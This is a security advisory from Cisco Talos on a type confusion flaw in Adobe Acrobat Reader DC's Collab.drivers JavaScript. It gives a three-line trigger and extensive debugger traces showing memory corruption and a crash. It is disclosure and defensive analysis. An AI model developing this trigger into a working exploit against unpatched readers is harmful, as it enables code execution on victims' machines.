Talos Vulnerability Report

TALOS-2018-0569

Adobe Acrobat Reader DC Collab.drivers Remote Code Execution Vulnerability

July 10, 2018
CVE Number

CVE-2018-12812

Summary

A specific JavaScript code embedded in a PDF file can lead to an object type confusion when opening a PDF document in Adobe Acrobat Reader DC 2018.011.20038. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2018.011.20038

Product URLs

https://get.adobe.com/reader/

CVSSv3 Score

6.8 - CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-843: Access of Resource Using Incompatible Type (‘Type Confusion’)

Details

Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. The one method call required to trigger this vulnerability is privileged, and can only be called from trusted functions or from a trusted location.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This give the potential attacker the ability to precisely control memory layout, and poses an additional attack surface.

While executing the following piece of JavaScript code, a specific condition leading to an object of wrong type being misinterpreted can cause memory corruption (it should be noted that all three of these lines require higher privileges, meaning they must be executed in a trusted PDF file):

this.event = this.Collab.drivers[0]; 
this.InitializeFormsTrackerJS( );
this.Collab.drivers[0].getWorkspaceCreator(null, this); 

After calling InitializeFormsTrackerJS, which is an undocumented JavaScript function, a subsequent dereference of this.Collab.drivers[0] with a call to a particular method will cause one extra object of wrong type to be accessed. After a call to getWorkspaceCreator, in the debugger, we actually end up in the following code:

Breakpoint 0 hit
eax=17dd3000 ebx=00000000 ecx=59c715e4 edx=59c715e4 esi=24cdf000 edi=36dbf000
eip=5779757c esp=0023c754 ebp=0023c77c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
Annots!PlugInMain+0x7367b:
5779757c ff90cc000000    call    dword ptr [eax+0CCh] ds:0023:17dd30cc=57f27398
0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0023c77c 59b0d6ca Annots!PlugInMain+0x7367b
01 0023c7ec 59b11c50 EScript!mozilla::HashBytes+0x2d054
02 0023c81c 59ae388f EScript!mozilla::HashBytes+0x315da
03 0023c8ac 59ae32f3 EScript!mozilla::HashBytes+0x3219
04 0023c8c8 59b0d235 EScript!mozilla::HashBytes+0x2c7d
05 0023c914 59b0d1c8 EScript!mozilla::HashBytes+0x2cbbf
06 0023c930 59b11a59 EScript!mozilla::HashBytes+0x2cb52
07 0023c94c 59b119f0 EScript!mozilla::HashBytes+0x313e3
08 0023c97c 59b2b605 EScript!mozilla::HashBytes+0x3137a
09 0023c9d0 59b2b505 EScript!mozilla::HashBytes+0x4af8f
0a 0023c9e8 578dd779 EScript!mozilla::HashBytes+0x4ae8f
0b 0023ca28 5774506e Annots!PlugInMain+0x1b9878
0c 0023ca48 57744f76 Annots!PlugInMain+0x2116d
0d 0023ca88 578dd715 Annots!PlugInMain+0x21075
0e 0023cac8 5774506e Annots!PlugInMain+0x1b9814
0f 0023cae8 578dd7b9 Annots!PlugInMain+0x2116d
10 0023cb00 59b2b61a Annots!PlugInMain+0x1b98b8
11 0023cb50 59b2b505 EScript!mozilla::HashBytes+0x4afa4
12 0023cb68 578dd779 EScript!mozilla::HashBytes+0x4ae8f

At this call, EScript’s cachehash will be consulted, and an object returned as a result. Because things don’t change over many calls of the above code, we can get the resulting pointer in advance:

0:000> dd  poi(poi(poi(poi(esp)+0x10)+0x34)+4)
33046000  57b38810 00000000 337fd000 ffffffff
33046010  33803000 ffffffff 00000000 57b3908c
33046020  00000000 57b08984 00000000 57b39148
33046030  00000000 337f1000 ffffffff 00000000
33046040  00000000 00000000 00000000 00000000
33046050  00000000 00000000 00000000 00000000
33046060  00000000 00000000 00000000 00000000
33046070  57b0877c 00000000 00000000 00000000

And indeed, if we wait for the above call to return, we see the same result in the eax:

0:000> p
eax=33046000 ebx=00000000 ecx=57b0a370 edx=57b0a378 esi=24cdf000 edi=36dbf000
eip=57797582 esp=0023c754 ebp=0023c77c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
Annots!PlugInMain+0x73681:
57797582 59              pop     ecx
0:000> dd eax
33046000  57b38810 00000000 337fd000 ffffffff
33046010  33803000 ffffffff 00000000 57b3908c
33046020  00000000 57b08984 00000000 57b39148
33046030  00000000 337f1000 ffffffff 00000000
33046040  00000000 00000000 00000000 00000000
33046050  00000000 00000000 00000000 00000000
33046060  00000000 00000000 00000000 00000000
33046070  57b0877c 00000000 00000000 00000000

Looking up heap information of this pointer reveals the following:

0:000> !heap -p -a 33046000  
    address 33046000 found in
    _DPH_HEAP_ROOT @ 1241000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                331b064c:         33046000              108 -         33045000             2000
          ? Annots!PlugInMain+41490f
    66818e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77756206 ntdll!RtlDebugAllocateHeap+0x00000030
    7771a127 ntdll!RtlpAllocateHeap+0x000000c4
    776e5950 ntdll!RtlAllocateHeap+0x0000023a
    5cdced43 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
    57728b12 Annots!PlugInMain+0x00004c11
    57728ac1 Annots!PlugInMain+0x00004bc0
    577441c7 Annots!PlugInMain+0x000202c6
    57744170 Annots!PlugInMain+0x0002026f
    59b225d3 EScript!mozilla::HashBytes+0x00041f5d
    59b075ce EScript!mozilla::HashBytes+0x00026f58
    59b017da EScript!mozilla::HashBytes+0x00021164
    59b00606 EScript!mozilla::HashBytes+0x0001ff90
    59b00511 EScript!mozilla::HashBytes+0x0001fe9b
    59b00458 EScript!mozilla::HashBytes+0x0001fde2
    59ae9e2e EScript!mozilla::HashBytes+0x000097b8
    59b285ec EScript!mozilla::HashBytes+0x00047f76
    59b28370 EScript!mozilla::HashBytes+0x00047cfa
    59b27de3 EScript!mozilla::HashBytes+0x0004776d
    59b26cd5 EScript!mozilla::HashBytes+0x0004665f
    59b96428 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f743
    584dcb1e AcroRd32!AIDE::PixelPartInfo::operator=+0x000222ce
    584d922c AcroRd32!AIDE::PixelPartInfo::operator=+0x0001e9dc
    5832efca AcroRd32!AX_PDXlateToHostEx+0x0015a229
    5832f4c8 AcroRd32!AX_PDXlateToHostEx+0x0015a727
    584dc87b AcroRd32!AIDE::PixelPartInfo::operator=+0x0002202b
    57fc5293 AcroRd32!PDAlternatesGetCosObj+0x0001ce03
    57f8cb36 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000bac25
    57f040bc AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000321ab
    57f031ad AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0003129c
    57ee7a07 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00015af6
    57ee6fbb AcroRd32!CTJPEGWriter::CTJPEGWriter+0x000150aa

Note that it’s an object of size 0x108. In the sample proof of concept there are total of 12 benign calls on the above break point, all returning an object of size 0x108 as a result. But, 13th call (which is a result of calling InitializeFormsTrackerJS) will be erroneous:

eax=17dd3000 ebx=00000000 ecx=59c715e4 edx=59c715e4 esi=24cdf000 edi=332b7000
eip=5779757c esp=0023c8d4 ebp=0023c8fc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Annots!PlugInMain+0x7367b:
5779757c ff90cc000000    call    dword ptr [eax+0CCh] ds:0023:17dd30cc=57f27398
0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0023c8fc 59b0d6ca Annots!PlugInMain+0x7367b
01 0023c96c 59b11c50 EScript!mozilla::HashBytes+0x2d054
02 0023c99c 59ae388f EScript!mozilla::HashBytes+0x315da
03 0023ca2c 59ae32f3 EScript!mozilla::HashBytes+0x3219
04 0023ca48 59b0d235 EScript!mozilla::HashBytes+0x2c7d
05 0023ca94 59b0d1c8 EScript!mozilla::HashBytes+0x2cbbf
06 0023cab0 59b11a59 EScript!mozilla::HashBytes+0x2cb52
07 0023cacc 59b119f0 EScript!mozilla::HashBytes+0x313e3
08 0023cafc 59b2b605 EScript!mozilla::HashBytes+0x3137a
09 0023cb50 59b2b505 EScript!mozilla::HashBytes+0x4af8f
0a 0023cb68 578dd779 EScript!mozilla::HashBytes+0x4ae8f
0b 0023cba8 5774506e Annots!PlugInMain+0x1b9878
0c 0023cbc8 578dd7b9 Annots!PlugInMain+0x2116d
0d 0023cbe0 59b2b61a Annots!PlugInMain+0x1b98b8
0e 0023cc30 59b2b505 EScript!mozilla::HashBytes+0x4afa4
0f 0023cc48 578dd779 EScript!mozilla::HashBytes+0x4ae8f
10 0023cc88 5774506e Annots!PlugInMain+0x1b9878
11 0023cca8 57744f76 Annots!PlugInMain+0x2116d
12 0023cce8 577958db Annots!PlugInMain+0x21075
13 0023cda8 59b225d3 Annots!PlugInMain+0x719da
14 0023ce20 59b075ce EScript!mozilla::HashBytes+0x41f5d
15 0023ce94 59b017da EScript!mozilla::HashBytes+0x26f58
16 0023d3ec 59b00606 EScript!mozilla::HashBytes+0x21164
17 0023d424 59b00511 EScript!mozilla::HashBytes+0x1ff90
18 0023d460 59b00458 EScript!mozilla::HashBytes+0x1fe9b
19 0023d490 59ae9e2e EScript!mozilla::HashBytes+0x1fde2
0:000> dd  poi(poi(poi(poi(esp)+0x10)+0x34)+4)
2c2fb000  33b93000 00000000 33b93000 d0d0d0d0
2c2fb010  334e5000 00000000 00000003 d0d0d0d0
2c2fb020  00690074 006e006f d0d00000 d0d0d0d0
2c2fb030  72656b63 00000000 c0c0c0c0 c0c0c0c0
2c2fb040  00000000 00000000 00000000 00000000
2c2fb050  00000000 00000000 00000000 00000000
2c2fb060  00000000 00000000 00000000 00000000
2c2fb070  00000000 00000000 00000000 00000000
0:000> !heap -p -a   poi(poi(poi(poi(esp)+0x10)+0x34)+4)
    address 2c2fb000 found in
    _DPH_HEAP_ROOT @ 1241000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2c1b3e04:         2c2fb000                8 -         2c2fa000             2000
    66818e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77756206 ntdll!RtlDebugAllocateHeap+0x00000030
    7771a127 ntdll!RtlpAllocateHeap+0x000000c4
    776e5950 ntdll!RtlAllocateHeap+0x0000023a
    5cdced43 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
    5cdcee1c MSVCR120!operator new+0x0000001d [f:\dd\vctools\crt\crtw32\heap\new.cpp @ 59]
    5772dff6 Annots!PlugInMain+0x0000a0f5
    5772daf9 Annots!PlugInMain+0x00009bf8
    577290b0 Annots!PlugInMain+0x000051af
    57737e59 Annots!PlugInMain+0x00013f58
    5774506e Annots!PlugInMain+0x0002116d
    578dd7b9 Annots!PlugInMain+0x001b98b8
    59b2b61a EScript!mozilla::HashBytes+0x0004afa4
    59b2b505 EScript!mozilla::HashBytes+0x0004ae8f
    578dd779 Annots!PlugInMain+0x001b9878
    5774506e Annots!PlugInMain+0x0002116d
    57744f76 Annots!PlugInMain+0x00021075
    577958db Annots!PlugInMain+0x000719da
    59b225d3 EScript!mozilla::HashBytes+0x00041f5d
    59b075ce EScript!mozilla::HashBytes+0x00026f58
    59b017da EScript!mozilla::HashBytes+0x00021164
    59b00606 EScript!mozilla::HashBytes+0x0001ff90
    59b00511 EScript!mozilla::HashBytes+0x0001fe9b
    59b00458 EScript!mozilla::HashBytes+0x0001fde2
    59ae9e2e EScript!mozilla::HashBytes+0x000097b8
    59b285ec EScript!mozilla::HashBytes+0x00047f76
    59b28370 EScript!mozilla::HashBytes+0x00047cfa
    59b27de3 EScript!mozilla::HashBytes+0x0004776d
    59b26cd5 EScript!mozilla::HashBytes+0x0004665f
    59b96428 EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x0005f743
    584dcb1e AcroRd32!AIDE::PixelPartInfo::operator=+0x000222ce
    584d922c AcroRd32!AIDE::PixelPartInfo::operator=+0x0001e9dc

In the above debugging output we can see, even before the call is made, that the returned object pointer will point to an object of size 8 in this case (note that this is with full page heap enabled and the details might vary with memory layout). And indeed, after returning from this call, we have a wrong object in eax:

0:000> p
eax=2c2fb000 ebx=00000000 ecx=57b0a370 edx=57b0a378 esi=24cdf000 edi=332b7000
eip=57797582 esp=0023c8d4 ebp=0023c8fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Annots!PlugInMain+0x73681:
57797582 59              pop     ecx
0:000> dd eax
2c2fb000  33b93000 00000000 33b93000 d0d0d0d0
2c2fb010  334e5000 00000000 00000003 d0d0d0d0
2c2fb020  00690074 006e006f d0d00000 d0d0d0d0
2c2fb030  72656b63 00000000 c0c0c0c0 c0c0c0c0
2c2fb040  00000000 00000000 00000000 00000000
2c2fb050  00000000 00000000 00000000 00000000
2c2fb060  00000000 00000000 00000000 00000000
2c2fb070  00000000 00000000 00000000 00000000

This brings us to the consequence of this type confusion. Listing the immediately following code reveals the problem:

57797582 59              pop     ecx
57797583 59              pop     ecx
57797584 85c0            test    eax,eax
57797586 743d            je      Annots!PlugInMain+0x736c4 (577975c5)
57797588 8b10            mov     edx,dword ptr [eax]
5779758a 8d4df0          lea     ecx,[ebp-10h]
5779758d 51              push    ecx
5779758e 8bc8            mov     ecx,eax
57797590 ff521c          call    dword ptr [edx+1Ch]

If eax isn’t null, a pointer value is read into edx and is subsequently dereferenced in a call instruction. Because eax now points to a wrong object type, this can possibly result in control flow hijacking and arbitrary code execution. Indeed, continuing the execution leads to a crash due to the instruction pointer pointing to an invalid location.

Crash Information

Crash with full page heap enabled:

0:000> g
(143c.12e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=2c2fb000 ebx=00000000 ecx=2c2fb000 edx=33b93000 esi=24cdf000 edi=332b7000
eip=c0c0c0c0 esp=0023c8d4 ebp=0023c8fc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
c0c0c0c0 ??              ???
0:000> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0023c8d0 57797593 0xc0c0c0c0
01 0023c8fc 59b0d6ca Annots!PlugInMain+0x73692
02 0023c96c 59b11c50 EScript!mozilla::HashBytes+0x2d054
03 0023c99c 59ae388f EScript!mozilla::HashBytes+0x315da
04 0023ca2c 59ae32f3 EScript!mozilla::HashBytes+0x3219
05 0023ca48 59b0d235 EScript!mozilla::HashBytes+0x2c7d
06 0023ca94 59b0d1c8 EScript!mozilla::HashBytes+0x2cbbf
07 0023cab0 59b11a59 EScript!mozilla::HashBytes+0x2cb52
08 0023cacc 59b119f0 EScript!mozilla::HashBytes+0x313e3
09 0023cafc 59b2b605 EScript!mozilla::HashBytes+0x3137a
0a 0023cb50 59b2b505 EScript!mozilla::HashBytes+0x4af8f
0b 0023cb68 578dd779 EScript!mozilla::HashBytes+0x4ae8f
0c 0023cba8 5774506e Annots!PlugInMain+0x1b9878
0d 0023cbc8 578dd7b9 Annots!PlugInMain+0x2116d
0e 0023cbe0 59b2b61a Annots!PlugInMain+0x1b98b8
0f 0023cc30 59b2b505 EScript!mozilla::HashBytes+0x4afa4
10 0023cc48 578dd779 EScript!mozilla::HashBytes+0x4ae8f
11 0023cc88 5774506e Annots!PlugInMain+0x1b9878
12 0023cca8 57744f76 Annots!PlugInMain+0x2116d
13 0023cce8 577958db Annots!PlugInMain+0x21075
14 0023cda8 59b225d3 Annots!PlugInMain+0x719da
15 0023ce20 59b075ce EScript!mozilla::HashBytes+0x41f5d
0:000> dd eax
2c2fb000  33b93000 00000000 33b93000 d0d0d0d0
2c2fb010  334e5000 00000000 00000003 d0d0d0d0
2c2fb020  00690074 006e006f d0d00000 d0d0d0d0
2c2fb030  72656b63 00000000 c0c0c0c0 c0c0c0c0
2c2fb040  00000000 00000000 00000000 00000000
2c2fb050  00000000 00000000 00000000 00000000
2c2fb060  00000000 00000000 00000000 00000000
2c2fb070  00000000 00000000 00000000 00000000
0:000> !heap -p -a eax
    address 2c2fb000 found in
    _DPH_HEAP_ROOT @ 1241000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                2c1b3e04:         2c2fb000                8 -         2c2fa000             2000
    66818e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77756206 ntdll!RtlDebugAllocateHeap+0x00000030
    7771a127 ntdll!RtlpAllocateHeap+0x000000c4
    776e5950 ntdll!RtlAllocateHeap+0x0000023a
    5cdced43 MSVCR120!malloc+0x00000049 [f:\dd\vctools\crt\crtw32\heap\malloc.c @ 92]
    5cdcee1c MSVCR120!operator new+0x0000001d [f:\dd\vctools\crt\crtw32\heap\new.cpp @ 59]
    5772dff6 Annots!PlugInMain+0x0000a0f5
    5772daf9 Annots!PlugInMain+0x00009bf8
    577290b0 Annots!PlugInMain+0x000051af
    57737e59 Annots!PlugInMain+0x00013f58
    5774506e Annots!PlugInMain+0x0002116d
    578dd7b9 Annots!PlugInMain+0x001b98b8
    59b2b61a EScript!mozilla::HashBytes+0x0004afa4
    59b2b505 EScript!mozilla::HashBytes+0x0004ae8f
    578dd779 Annots!PlugInMain+0x001b9878
    5774506e Annots!PlugInMain+0x0002116d

Timeline

2018-04-16- Vendor Disclosure
2018-07-10 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.